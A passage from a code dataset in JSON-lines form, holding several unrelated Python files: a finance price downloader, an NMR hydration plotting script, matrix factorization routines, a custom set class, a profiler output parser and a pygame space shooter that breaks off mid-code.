[datetime.datetime.fromtimestamp(int(list_str[0][1:])+int(timezone_shift)*60)]\n else: # The numbers without a leading 'a' are \"intervals\".\n time = [datetime.datetime.fromtimestamp(basedate+int(list_str[0])*int(freq)+int(timezone_shift)*60)]\n prices = list(map(float,list_str[1:]))\n return(np.array(time+prices))\n\n URL = 'http://www.google.com/finance/getprices?p='+period+'&f=d,h,o,l,c&i='+freq+'&q='+currency\n #print(\"Downloading from %s\"%URL)\n\n res = requests.get(URL)\n body = res.text.splitlines()\n timezone_shift, string_data = body[6][16:], body[7:]\n data = np.array([None]*5)\n basedate = int(body[7].split(',')[0][1:])\n\n for s in body[8:]:\n # To refresh 'basedate'.\n list_str = s.split(',')\n if list_str[0][0]=='a':\n basedate = int(list_str[0][1:])\n\n data = np.vstack((data,split_line(s,basedate,timezone_shift,freq)))\n data = data[1:]\n df = pd.DataFrame(data=data[:,1:],index=pd.to_datetime(data[:,0]),columns=body[4].split(',')[1:])\n return(df)\n","sub_path":"lib/gfinance.py","file_name":"gfinance.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"50276148","text":"import nmrglue\nimport pylab\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom scipy.ndimage import gaussian_filter\nimport numpy as np\nimport copy\nx = 165000 # remove noise level, change 200000\n\n# standard color scale\ncmap = matplotlib.colors.LinearSegmentedColormap.from_list(\"\", [(0, \"#ff0000\"), (0.005, \"#ff3333\"), (0.009, \"#ff4d4d\"),\n (0.045, \"#ffff80\"), (0.090, \"#ffff66\"), (0.15, \"#ffff4d\"),\n (0.20, \"#ffff33\"), (0.28, \"#99e699\"), (0.35, \"#85e085\"),\n (0.4, \"#00cc44\"), (0.55, \"#00b33c\"),\n (0.65, \"#8080ff\"), (0.82, \"#6666ff\"),\n (0.96, \"#3333ff\"), (1, \"#0000ff\")])\n#\n# cmap = matplotlib.colors.LinearSegmentedColormap.from_list(\"\", [(0, \"#ff0000\"), (0.005, \"#ff3333\"), (0.009, \"#ff4d4d\"),\n# (0.035, \"#ffff80\"), (0.150, \"#ffff66\"), (0.2, \"#ffff4d\"),\n# (0.25, \"#ffff33\"), (0.38, \"#99e699\"), (0.52, \"#85e085\"),\n# (0.6, \"#00cc44\"), (0.65, \"#00b33c\"),\n# (0.7, \"#8080ff\"), (0.85, \"#6666ff\"),\n# (0.96, \"#3333ff\"), (1, \"#0000ff\")])\n#\n# cmap = matplotlib.colors.LinearSegmentedColormap.from_list(\"\", [\n# (0, \"#ff0000\"), (0.25, \"#ffff4d\"),\n# (0.5, \"#66ff66\"),\n# (0.75, \"#3333ff\"), (1, \"#0000ff\")])\n\n# get bruker data( create file \"test\", add all control and water-edited spectra)\ndef get_data():\n k = []\n j = 0\n t = []\n for i in [\"1000\", \"1001\", \"1002\", \"1003\", \"1004\", \"1005\",\"1006\",\"1007\"]:\n dic, data = nmrglue.fileio.bruker.read_pdata(dir=\"C:\\\\Bruker\\\\TopSpin4.0.6\\\\examdata\\\\test\\\\\" + i +\"\\\\pdata\\\\1\",\n bin_files=None, procs_files=None, read_procs=True, acqus_files=None,\n read_acqus=True, scale_data=True, shape=None, submatrix_shape=None,\n all_components=False, big=None, isfloat=None)\n if j % 2 == 0:\n t = []\n t.append(data)\n else:\n t.append(data)\n k.append(copy.deepcopy(t))\n j = j + 1\n return k\n\n# remove noise level, change 200000 as you wish\ndef set_data(lists):\n lists2 = []\n l = 0\n t = []\n for i in lists:\n for j in i:\n j = np.asarray(j)\n j[j < x] = 0\n if l % 2 == 0:\n t = []\n t.append(j)\n else:\n t.append(j)\n lists2.append(copy.deepcopy(t))\n l = l + 1\n return lists2\n\n# S/S0 ratio\ndef cal(S1_contl, S1_wtr):\n for key1, value1 in enumerate(S1_contl):\n for key2, val in enumerate(value1):\n try:\n if S1_contl[key1, key2] > 0:\n data3[key1, key2] = (S1_wtr[key1, key2] * 0.5/ S1_contl[key1, key2])\n # data3[key1, key2] = (S1_wtr[key1, key2] - S1_contl[key1, key2])\n else:\n data3[key1, key2] = 0\n except:\n data3[key1, key2] = 0\n return data3\n\ngraph_data = []\n\nfor S1_contl, S1_wtr in set_data(get_data()):\n plot = []\n data3 = np.copy(S1_wtr)\n data4 = cal(S1_contl, S1_wtr)\n\n # select area\n data5 = data4[2:431, 719:842] # for hydration map\n data6 = data4[381:817, 1028:1136]\n # data1 = data1[3:436, 708:866] # for contour lines\n print(np.max(data5))\n\n # data4 = data4/np.max(data4)\n\n\n for key1, value1 in enumerate(data4):\n for key2, val in enumerate(value1):\n if data4[key1, key2] > 1:\n data4[key1, key2] = 0.9936\n\n print(np.max(data5))\n\n # create contour\n cl = [0.0125 * 1.2 ** x for x in range(25)] # for hydration map\n cl2 = [0.01 * 2.4 ** x for x in range(10)] # for contour lines\n\n # noise cancellation\n data6 = gaussian_filter(data6, sigma=0.56) # for hydration map\n # data1 = gaussian_filter(data1, sigma=0.8) # for contour lines\n plot.append(copy.deepcopy(data5)) # for lignin region (only for plants)\n plot.append(copy.deepcopy(data6)) # for polysaccharide region\n graph_data.append(copy.deepcopy(plot))\n\nfig, axs = plt.subplots(nrows=len(graph_data), ncols=2, figsize=(4, 4), constrained_layout=True) # change ncols if you plot two regions\n\nfor i in range(len(graph_data)):\n for j in range(2):\n plt.axes(axs[i][j])\n clt = pylab.contourf(graph_data[i][j], cl, alpha=1,cmap=cmap) # for hydration map\n for c in clt.collections:\n c.set_edgecolor(\"face\")\n c.set_linewidth(0.000000001)\n\n\npylab.colorbar(cmap=\"cmap\")\n# cnt = pylab.contour(data1, cl2, alpha=0.1, colors=\"black\") # for contour lines\n\npylab.savefig(\"Hydration_plot.svg\")\npylab.show()\n","sub_path":"src/new3.py","file_name":"new3.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"463627132","text":"import numpy as np\n\n\ndef positive_projection(array):\n \"\"\"\n Returns a projection onto the positive orthant of a vector\n :param array:\n :return:\n \"\"\"\n return np.clip(array, a_min=0, a_max = None)\n\n\ndef fip(A, B):\n \"\"\"\n A helper function just to clean up some notation. Used in checking Armijo criterion for line search implementation\n :param A:\n :param B:\n :return:\n \"\"\"\n return A.flatten().dot(B.flatten())\n\n\nclass NMF:\n\n def __init__(self, data, k):\n self.X = np.array(data) # actual data matrix\n self.W = np.array(data > 0) # missing data indicator matrix\n self.k = k # number of hidden features\n self.m = data.shape[0]\n self.n = data.shape[1]\n self.A = np.matrix(np.zeros((self.m, self.k)))\n self.S = np.matrix(np.zeros((self.k, self.n)))\n self.norms = []\n self.scale = np.max(self.X.flatten())\n self.epsilon = 10e-6\n\n\n def f(self, A, S):\n \"\"\"\n Implements the objective function\n :param A: candidate A solution\n :param S: candidate S solution\n :return:\n \"\"\"\n return 1/2 * np.linalg.norm(self.W * (self.X - A@S)) ** 2\n\n def f_A(self, A, S):\n \"\"\"\n Implements the derivative w.r.t A of the objective function\n :param A:\n :param S:\n :return:\n \"\"\"\n return (self.W * (A@S))@S.T - (self.W * self.X)@S.T\n\n def f_S(self, A, S):\n \"\"\"\n Implements the derivative w.r.t. S of the objective function\n :param A:\n :param S:\n :return:\n \"\"\"\n return A.T@(self.W * (A@S)) - A.T@(self.W * self.X)\n\n\n def multiplicative_update(self, max_iter=1000, verbose=10, tol=10e-6, A_start=None, S_start=None):\n \"\"\"\n Implements a multiplicative update scheme for nonnegative matrix factorization\n :param max_iter: max number of iterations to complete\n :param verbose: number of iterations between print statements; if 0, does not print\n :param A_start: starting A matrix, can be useful for comparison purposes\n :param S_start: starting S matrix, can be useful for comparison purposes\n :return:\n \"\"\"\n self.norms = []\n\n if A_start is not None:\n A = A_start\n else:\n A = np.random.uniform(self.epsilon, self.scale, size=(self.m, self.k))\n\n if S_start is not None:\n S = S_start\n else:\n S = np.random.uniform(self.epsilon, self.scale, size=(self.k, self.n))\n\n iter_ = 0\n while iter_ <= max_iter:\n norm = self.f(A, S)\n self.norms.append(norm)\n if verbose and not iter_ % verbose:\n print(\"MU Iter: \", iter_, \"Norm: \", self.norms[-1])\n A = np.multiply(A, np.divide((self.W * self.X)@ S.T, (self.W * (A@S))@S.T + self.epsilon))\n S = np.multiply(S, np.divide(A.T @ (self.W * self.X), A.T@(self.W * (A@S)) + self.epsilon))\n # TODO: find a better programmatic way to do this\n if iter_ >= 2 and abs(self.norms[-1] - self.norms[-2]) <= tol:\n break\n\n iter_ += 1\n\n self.A = A\n self.S = S\n\n def alternating_least_squares(self, max_iter=1000, verbose=10, tol=10e-6, A_start=None):\n \"\"\"\n Implements alternating least squares scheme\n :param max_iter:\n :param verbose:\n :param tol:\n :param A_start: starting value of A matrix, useful for comparison purposes\n :param pinv: defines whether to use psuedoinverses and projection to solve the nonnegative least squares subproblem,\n or to use the native scipy.optimize.nnls method.\n :return:\n \"\"\"\n\n self.norms = []\n\n if A_start is not None:\n A = A_start\n else:\n A = np.random.uniform(self.epsilon, self.scale, size=(self.m, self.k))\n\n iter_ = 0\n while iter_ <= max_iter:\n S = positive_projection(np.linalg.pinv(A) @ self.X)\n A = positive_projection(self.X @ np.linalg.pinv(S))\n\n norm = self.f(A, S)\n self.norms.append(norm)\n if verbose and not iter_ % verbose:\n print(\"ALS Iter: \", iter_, \"Norm: \", self.norms[-1])\n\n # other stopping condition\n if iter_ >= 2 and abs(self.norms[-1] - self.norms[-2]) <= tol:\n break\n\n iter_ += 1\n\n self.A = A\n self.S = S\n\n def hierarchical_alternating_least_squares(self, max_iter=1000, verbose=10, tol=10e-6, A_start=None, S_start=None):\n \"\"\"\n Implements alternating least squares scheme. This appears to be equivalent to the Rank-One Residue Iteration\n (RRI) update scheme.\n :param max_iter:\n :param verbose:\n :param tol:\n :param A_start: seed A matrix to start iterating with\n :param S_start: seed S matrix to start iterating with\n :return:\n \"\"\"\n\n self.norms = []\n\n if A_start is not None:\n A = A_start\n else:\n A = np.random.uniform(self.epsilon, self.scale, size=(self.m, self.k))\n\n if S_start is not None:\n S = S_start\n else:\n S = np.random.uniform(self.epsilon, self.scale, size=(self.k, self.n))\n\n iter_ = 0\n while iter_ <= max_iter:\n norm = self.f(A, S)\n self.norms.append(norm)\n if verbose and not iter_ % verbose:\n print(\"HALS Iter: \", iter_, \"Norm: \", self.norms[-1])\n for j in range(self.k):\n # need to be aware of division by 0\n A[:, j] = positive_projection(A[:, j] + ((self.X@S.T)[:, j] - A@((S@S.T)[:, j]))/((S@S.T)[j, j] + tol))\n S[j, :] = positive_projection(S[j, :] + ((self.X.T@A)[:, j] - S.T@((A.T@A)[:, j]))/((A.T@A)[j, j] + tol))\n\n\n # other stopping condition\n if iter_ >= 2 and abs(self.norms[-1] - self.norms[-2]) <= tol:\n break\n\n iter_ += 1\n\n self.A = A\n self.S = S\n\n def projected_gradient(self, alpha=.001, max_iter=1000, verbose=10, tol=10e-6, A_start=None, S_start=None):\n \"\"\"\n\n :param alpha: step size for a projected gradient approach\n :param max_iter:\n :param verbose:\n :param tol:\n :return:\n \"\"\"\n self.norms = []\n\n if A_start is not None:\n A = A_start\n else:\n A = np.random.uniform(self.epsilon, self.scale, size=(self.m, self.k))\n\n if S_start is not None:\n S = S_start\n else:\n S = np.random.uniform(self.epsilon, self.scale, size=(self.k, self.n))\n\n iter_ = 0\n while iter_ <= max_iter:\n norm = self.f(A, S)\n self.norms.append(norm)\n if verbose and not iter_ % verbose:\n print(\"PG Iter: \", iter_, \"Norm: \", self.norms[-1])\n A = positive_projection(A - alpha * self.f_A(A, S))\n S = positive_projection(S - alpha * self.f_S(A, S))\n\n # other stopping condition\n if iter_ >= 2 and abs(self.norms[-1] - self.norms[-2]) <= tol:\n break\n\n iter_ += 1\n\n self.A = A\n self.S = S\n\n def line_search_projected_gradient(self, alpha=.001, beta=.1, sigma=0.01, max_iter=1000, verbose=10, tol=10e-6,\n A_start=None, S_start=None):\n \"\"\"\n Implements a backwards line search algorithm for choosing step size with gradient descent\n :param alpha1: step size for A descent\n :param alpha2: step size for S descent\n :param beta:\n :param sigma:\n :param max_iter:\n :param verbose:\n :param tol:\n :return:\n \"\"\"\n self.norms = []\n\n if A_start is not None:\n A = A_start\n else:\n A = np.random.uniform(self.epsilon, self.scale, size=(self.m, self.k))\n\n if S_start is not None:\n S = S_start\n else:\n S = np.random.uniform(self.epsilon, self.scale, size=(self.k, self.n))\n\n default_alpha = alpha\n iter_ = 0\n while iter_ <= max_iter:\n norm = self.f(A, S)\n self.norms.append(norm)\n if verbose and not iter_ % verbose:\n print(\"LSPG Iter: \", iter_, \"Norm: \", self.norms[-1])\n\n A_tent = positive_projection(A - alpha * self.f_A(A, S))\n while self.f(A_tent, S) - self.f(A, S) > sigma * fip(self.f_A(A, S), A_tent-A):\n alpha *= beta\n print(\"ALPHA: \", alpha)\n A_tent = positive_projection(A - alpha * self.f_A(A, S))\n\n A = A_tent\n\n S_tent = positive_projection(S - alpha * self.f_S(A, S))\n while self.f(A, S_tent) - self.f(A, S) > sigma * fip(self.f_S(A, S), S_tent-S):\n alpha *= beta # make alpha2 smaller\n S_tent = positive_projection(S - alpha * self.f_S(A, S))\n\n S = S_tent\n\n\n\n # other stopping condition\n if iter_ >= 2 and abs(self.norms[-1] - self.norms[-2]) <= tol:\n break\n\n iter_ += 1\n\n self.A = A\n self.S = S\n\n def sgd(self, alpha=.001, max_iter=1000, verbose=10, tol=10e-6, A_start=None, S_start=None):\n # THIS CODE IS INSPIRED BY, BUT NOT COPIED FROM, http://www.albertauyeung.com/post/python-matrix-factorization/\n \"\"\"\n Implements a stochastic gradient descent training method\n :param alpha:\n :param max_iter:\n :param verbose:\n :param A_start:\n :param S_start:\n :return:\n \"\"\"\n\n self.norms = []\n\n if A_start is not None:\n A = A_start\n else:\n A = np.random.uniform(self.epsilon, self.scale, size=(self.m, self.k))\n\n if S_start is not None:\n S = S_start\n else:\n S = np.random.uniform(self.epsilon, self.scale, size=(self.k, self.n))\n\n samples = [\n (i, j, self.X[i, j])\n for i in range(self.m)\n for j in range(self.n)\n if self.X[i, j] > 0\n ]\n\n iter_ = 0\n while iter_ <= max_iter:\n norm = self.f(A, S)\n self.norms.append(norm)\n if verbose and not iter_ % verbose:\n print(\"SGD Iter: \", iter_, \"Norm: \", self.norms[-1])\n\n np.random.shuffle(samples)\n for i, j, r in samples:\n prediction = A[i, :].dot(S[:, j])\n e = (r - prediction)\n A[i, :] += alpha * (e * S[:, j])\n S[:, j] += alpha * (e * A[i, :])\n\n\n\n\n # other stopping condition\n if iter_ >= 2 and abs(self.norms[-1] - self.norms[-2]) <= tol:\n break\n\n iter_ += 1\n\n","sub_path":"nonnegative_matrix_factorization.py","file_name":"nonnegative_matrix_factorization.py","file_ext":"py","file_size_in_byte":10841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"221307932","text":"\"\"\"Description: This program is a custom set of methods for the set class, and includes a lot of overrides.\n\n\n_author_ = 'Dakota Parks', 'Ian Cross', 'Suman Koirala'\n_date_ = '4/22/2015'\n\n\"\"\"\n\nclass CustomSet:\n def __init__(self, listOfNums):\n \"\"\"Preconditions: Accepts list of nums, expected to be a list of ints.\n Description: This is a contructor that takes a list of nubmers and then returns a list without any duplicates\n Postconditions: An object of type CustomSet is created, which is a list\"\"\"\n self._newList=[]\n self._listOfNums=listOfNums\n for el in self._listOfNums:\n if el not in self._newList:\n self._newList.append(el)\n self._listOfNums = sorted(self._newList)\n\n def getList(self):\n return self._listOfNums\n \n def __contains__(self, member):\n \"\"\"Preconditions: Accepts self and member, expected to be an int or string..\n Description: This method overrides \"in\" and looks for the specific member in the set.\n Postconditions: Prints either \"Yes or \"Not there\".\"\"\"\n if member in self._listOfNums:\n print(\"Yes\")\n if member not in self._listOfNums:\n print(\"Not there\")\n\n def __str__(self):\n \"\"\"Preconditions: Only recieves self.\n Description: Prints a string of the customset object.\n Postconditions: Nothing, only returns a string.\"\"\"\n return(str(self._listOfNums))\n \n def __add__(self, other):\n \"\"\"Pre-conditions: This program assumes that the both variables are\n of the type CustomSet. \n Description: This mehtod overloads the \"+\" on two CustomSet. It\n returns a new CustomSet that is the union of the two sets.\n Post-conditions: Makes a new CustomSet Object with the results of\n this operation. \"\"\"\n \n firstlist = self.getList()\n secondlist = other.getList()\n newlist = []\n for i in secondlist:\n if i not in firstlist:\n newlist.append(i)\n for i in firstlist:\n if i not in newlist:\n newlist.append(i)\n newSet = CustomSet(newlist)\n return newSet\n\n def __and__(self, other):\n \"\"\"Pre-conditions: This program assumes that the both variables are\n of the type CustomSet. \n Description: This method allows the intersection of two sets by\n using the \"&\" between two CustomSet objects. It returns a new\n set object with the common elelments between both sets.\n Post-conditions: Makes a new CustomSet Object with the results of\n this operation. \"\"\"\n newlist = []\n firstlist = self.getList()\n secondlist = other.getList()\n for i in firstlist:\n for x in secondlist:\n if i == x:\n newlist.append(i)\n newSet = CustomSet(newlist)\n return newSet\n \n def __sub__(self, other):\n \"\"\"Pre-Conditions: This program assumes that the both variables are\n of the type CustomSet.\n Description: This method lets the \"-\" work with custom sets. It\n returns a new set with the elements exclusive to the first set.\n Post-Conditions: Makes a new CustomSet Object with the results of\n this operation.\"\"\"\n newlist = []\n firstlist = self.getList()\n secondlist = other.getList()\n for i in firstlist:\n if i not in secondlist:\n newlist.append(i)\n newSet = CustomSet(newlist)\n return newSet\n \n def brackets(self):\n \"\"\"Preconditions: Only recives self.\n Description: Prints a string of the customset object surrounded by brackets.\n Postconditions: Nothing, returns a string.\"\"\"\n return(\"{ \"+str(self)+\" }\")\n \n def __ge__(self,other):\n \"\"\"\n Description: If one number is greater than other or not\n Preconditions: Two Values of datatype Customset.\n Postcondition:None\n \"\"\" \n if self._newList >= other._newList:\n return \"Yes\"\n else:\n return \"No Subset\"\n \n def __le__(self,other):\n \"\"\"\n Description: If one number is less than other or not.\n Precondition: Two values of datatype CuustomerSet.\n PostCondition:None\n \"\"\" \n if self._newList <= other._newList: \n return \"Yes\"\n else:\n return \"No Subset\"\n def __len__(self):\n \"\"\"\n Description: Find the len of given list.\n Precondition:none\n postcondition:none\n \"\"\"\n return len(self._newList)\n\n\n\n","sub_path":"modCustomSet.py","file_name":"modCustomSet.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"424336768","text":"#!/usr/bin/python\n\n################################################################################\n# Copyright (c) 2018 Advanced Micro Devices, Inc. All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n################################################################################\n\nimport os, sys, re\n\n# Parsing results in the format:\n#dispatch[0], queue_index(0), kernel_name(\"SimpleConvolution\"), time(1048928000311041,1048928006154674,1048928006168274,1048928006170503):\n# GRBM_GUI_ACTIVE (74332)\n# SQ_WAVES (4096)\n# SQ_INSTS_VMEM_RD (36864)\n\n# global vars\nvar_list = ['Index', 'KernelName', 'DispatchNs', 'BeginNs', 'EndNs', 'CompleteNs']\nvar_table = {}\n#############################################################\n\ndef fatal(msg):\n sys.stderr.write(sys.argv[0] + \": \" + msg + \"\\n\");\n sys.exit(1)\n#############################################################\n\n# parse results method\ndef parse_res(infile):\n if not os.path.isfile(infile): fatal(\"Error: input file '\" + infile + \"' not found\")\n inp = open(infile, 'r')\n\n beg_pattern = re.compile(\"^dispatch\\[(\\d*)\\], queue_index\\(\\d*\\), kernel_name\\(\\\"([^\\\"]*)\\\"\\)\")\n ts_pattern = re.compile(\", time\\((\\d*),(\\d*),(\\d*),(\\d*)\\)\")\n var_pattern = re.compile(\"^\\s*([^\\s]*)\\s+\\((\\d*)\\)\")\n\n dispatch_number = 0\n for line in inp.readlines():\n record = line[:-1]\n\n m = var_pattern.match(record)\n if m:\n if not dispatch_number in var_table: fatal(\"Error: dispatch number not unique '\" + str(dispatch_number) + \"'\")\n var = m.group(1)\n val = m.group(2)\n var_table[dispatch_number][m.group(1)] = m.group(2)\n if not var in var_list: var_list.append(var)\n\n m = beg_pattern.match(record)\n if m:\n dispatch_number = m.group(1)\n if not dispatch_number in var_table:\n var_table[dispatch_number] = {\n 'Index': dispatch_number,\n 'KernelName': \"\\\"\" + m.group(2) + \"\\\"\"\n }\n m = ts_pattern.search(record)\n if m:\n var_table[dispatch_number]['DispatchNs'] = m.group(1)\n var_table[dispatch_number]['BeginNs'] = m.group(2)\n var_table[dispatch_number]['EndNs'] = m.group(3)\n var_table[dispatch_number]['CompleteNs'] = m.group(4)\n\n inp.close()\n#############################################################\n\n# print results table method\ndef print_tbl(outfile):\n global var_list\n if len(var_table) == 0: return 1\n\n out = open(outfile, 'w')\n\n keys = var_table.keys()\n keys.sort(key=int)\n\n entry = var_table[keys[0]]\n list1 = []\n for var in var_list:\n if var in entry:\n list1.append(var)\n var_list = list1\n\n for var in var_list: out.write(var + ',')\n out.write(\"\\n\")\n\n for ind in keys:\n entry = var_table[ind]\n dispatch_number = entry['Index']\n if ind != dispatch_number: fatal(\"Dispatch #\" + ind + \" index mismatch (\" + dispatch_number + \")\\n\")\n for var in var_list: out.write(entry[var] + ',')\n out.write(\"\\n\")\n\n out.close()\n return 0\n#############################################################\n\n# main\nif (len(sys.argv) < 3): fatal(\"Usage: \" + sys.argv[0] + \" \")\n\noutfile = sys.argv[1]\ninfiles = sys.argv[2:]\nfor f in infiles:\n parse_res(f)\nret = print_tbl(outfile)\nsys.exit(ret)\n#############################################################\n","sub_path":"bin/tblextr.py","file_name":"tblextr.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"553440641","text":"import pygame\nimport random\nfrom os import path\n\nimg_dir = path.join(path.dirname(__file__), 'img')\nsnd_dir = path.join(path.dirname(__file__), 'snd')\n\nPOWERUP_TIME = 5000 # 5 seconden power up tijd\n\nWIDTH = 1280 # breedte scherm\nHEIGHT = 720 # hoogte scherm\nFPS = 60 # frame per second = 60\n\n# Kleuren gedefinieerd\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nBROWN = (101, 67, 33)\nGREY = (20, 20, 20)\n\npygame.init()\npygame.mixer.init() # Pygame code waardoor muziek werkt\n\ndef draw_text(surf, text, size, x, y):\n font_name = pygame.font.Font(\"Blitz/8.TTF\", size)\n text_surface = font_name.render(text, True, WHITE)\n text_rect = text_surface.get_rect()\n text_rect.midtop = (x, y)\n surf.blit(text_surface, text_rect)\n\ndef newpowerup():\n pow = Pow()\n all_sprites.add(pow)\n powerups.add(pow)\n\ndef newmob():\n m = Mob()\n all_sprites.add(m)\n mobs.add(m)\n\ndef draw_shield_bar(surf, x, y, pct):\n if pct < 0:\n pct = 0\n BAR_LENGTH = 100\n BAR_HEIGHT = 20\n fill = (pct / 100) * BAR_LENGTH\n outline_rect = pygame.Rect(x, y, BAR_LENGTH, BAR_HEIGHT)\n fill_rect = pygame.Rect(x, y, fill, BAR_HEIGHT)\n pygame.draw.rect(surf, GREEN, fill_rect)\n pygame.draw.rect(surf, WHITE, outline_rect, 2)\n\ndef draw_lives(surf, x, y, lives, img):\n for i in range(lives):\n img_rect = img.get_rect()\n img_rect.x = x + 30 * i\n img_rect.y = y\n surf.blit(img, img_rect)\n\ndef show_go_screen():\n global tunnels, all_sprites, tunnel_hoogte, tunnel_gat, diff_1, diff_2, diff_3\n screen.blit(background, (0,0))\n draw_text(screen, \"Space Escape\", 70, WIDTH / 2, HEIGHT / 4)\n\n draw_text(screen, \"PowerUps\", 30, WIDTH / 2, HEIGHT / 2)\n draw_text(screen, \"Pill gives Shield Restore and Bullets\", 20, WIDTH / 2, HEIGHT / 1.8)\n draw_text(screen, \"Shield gives Shield Restore\", 20, WIDTH / 2, HEIGHT / 1.7)\n draw_text(screen, \"Bolt gives Bullets\", 20, WIDTH / 2, HEIGHT / 1.6)\n\n draw_text(screen, \"Keys\", 30, WIDTH / 2, HEIGHT / 1.4)\n draw_text(screen, \"Use the arrow keys to move around\", 20, WIDTH / 2, HEIGHT / 1.3)\n draw_text(screen, \"Use space to shoot\", 20, WIDTH / 2, HEIGHT / 1.25)\n draw_text(screen, \"Press R to begin\", 20, WIDTH / 2, HEIGHT / 1.15)\n draw_text(screen, \"Press esc or q key to Exit at any time\", 20, WIDTH / 2, HEIGHT / 1.1)\n #draw_text(screen, \"Highscore: \" + str(highscore), 20, WIDTH / 2, HEIGHT / 3)\n pygame.display.flip()\n waiting = True\n while waiting:\n clock.tick(FPS)\n for event in pygame.event.get():\n if event.type == pygame.QUIT: # Rood kruisje klikken sluit python\n pygame.quit()\n if pygame.key.get_pressed()[pygame.K_r]: # R klikken start de game\n waiting = False\n\n tunnel_gat = 400\n tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n tunnel_i = 0\n tunnel_hoogte = 200\n\n diff_1 = False\n diff_2 = False\n diff_3 = False\n\n while len(tunnels) < 128 * 2 + 10:\n while tunnel_hoogte > tunnel_half:\n tunnel_hoogte += -5\n while tunnel_hoogte <= 0:\n tunnel_hoogte += 5\n\n tunnel_hoogte += random.randrange(-5, 6)\n\n # Boven Helft Tunnel\n t = Tunnel(tunnel_i, 0, tunnel_hoogte)\n tunnels.add(t)\n # Onder Helft Tunnel\n t = Tunnel(tunnel_i, HEIGHT - tunnel_hoogte, tunnel_hoogte)\n tunnels.add(t)\n tunnel_i += 10\n\nclass Tunnel(pygame.sprite.Sprite):\n def __init__(self, x, y, h):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.Surface((10,h))\n self.image.fill(GREY)\n self.rect = self.image.get_rect()\n self.rect.topleft = (x, y)\n\n def update(self):\n\n self.rect.x += -5\n\nclass Player(pygame.sprite.Sprite):\n # Sprite for the Player\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(\"SE/spaceship.png\").convert_alpha()\n self.image = pygame.transform.rotate(self.image, 270)\n self.image = pygame.transform.scale(self.image, (60, 60))\n self.rect = self.image.get_rect()\n self.radius = 20\n #pygame.draw.circle(self.image, RED, self.rect.center, self.radius)\n self.rect.center = (WIDTH / 4, HEIGHT / 2)\n self.speedx = 0\n self.speedy = 0\n self.shield = 100\n self.shoot_delay = 250\n self.last_shot = pygame.time.get_ticks()\n self.lives = 3\n self.hidden = False\n self.hide_timer = pygame.time.get_ticks()\n self.power = 0\n self.power_time = pygame.time.get_ticks()\n\n def powerup(self):\n self.power += 1\n self.power_time = pygame.time.get_ticks()\n\n def update(self):\n # Time out for powerups\n if self.power >= 1 and pygame.time.get_ticks() - self.power_time > POWERUP_TIME:\n self.power -= 1\n self.power_time = pygame.time.get_ticks()\n\n # Unhide if hidden\n if self.hidden and pygame.time.get_ticks() - self.hide_timer > 1000:\n self.hidden = False\n self.rect.center = (WIDTH / 4, HEIGHT / 2)\n self.speedx = 0\n self.speedy = 0\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_DOWN] or keystate[pygame.K_s]:\n self.speedy += 5\n if keystate[pygame.K_UP] or keystate[pygame.K_w]:\n self.speedy -= 5\n if keystate[pygame.K_RIGHT] or keystate[pygame.K_d]:\n self.speedx += 5\n if keystate[pygame.K_LEFT] or keystate[pygame.K_a]:\n self.speedx -= 5\n if keystate[pygame.K_SPACE]:\n self.shoot()\n\n self.rect.x += self.speedx\n self.rect.y += self.speedy\n\n if self.rect.right > WIDTH:\n self.rect.right = WIDTH\n if self.rect.left < 0:\n self.rect.left = 0\n\n def shoot(self):\n now = pygame.time.get_ticks()\n if now - self.last_shot > self.shoot_delay:\n self.last_shot = now\n if self.power >= 1:\n bullet = Bullet(self.rect.right, self.rect.centery)\n all_sprites.add(bullet)\n bullets.add(bullet)\n shoot_sound.play()\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_SPACE]:\n self.shoot()\n\n def hide(self):\n # hide the player temporarily\n self.hidden = True\n self.hide_timer = pygame.time.get_ticks()\n self.rect.center = (WIDTH / 2, HEIGHT + 200)\n\nclass Mob(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image_orig = random.choice(meteor_images)\n self.image = self.image_orig.copy()\n self.rect = self.image.get_rect()\n self.radius = int(self.rect.width * 0.45 / 2)\n pygame.draw.circle(self.image, RED, self.rect.center, self.radius)\n self.rect.x = 1300\n self.rect.y = random.randrange(60, 640)\n self.speedx = random.randrange(6, 10)\n self.rot = 0\n self.rot_speed = random.randrange(-8, 8)\n self.last_update = pygame.time.get_ticks()\n\n def rotate(self):\n now = pygame.time.get_ticks()\n if now - self.last_update > 50:\n self.last_update = now\n self.rot = (self.rot + 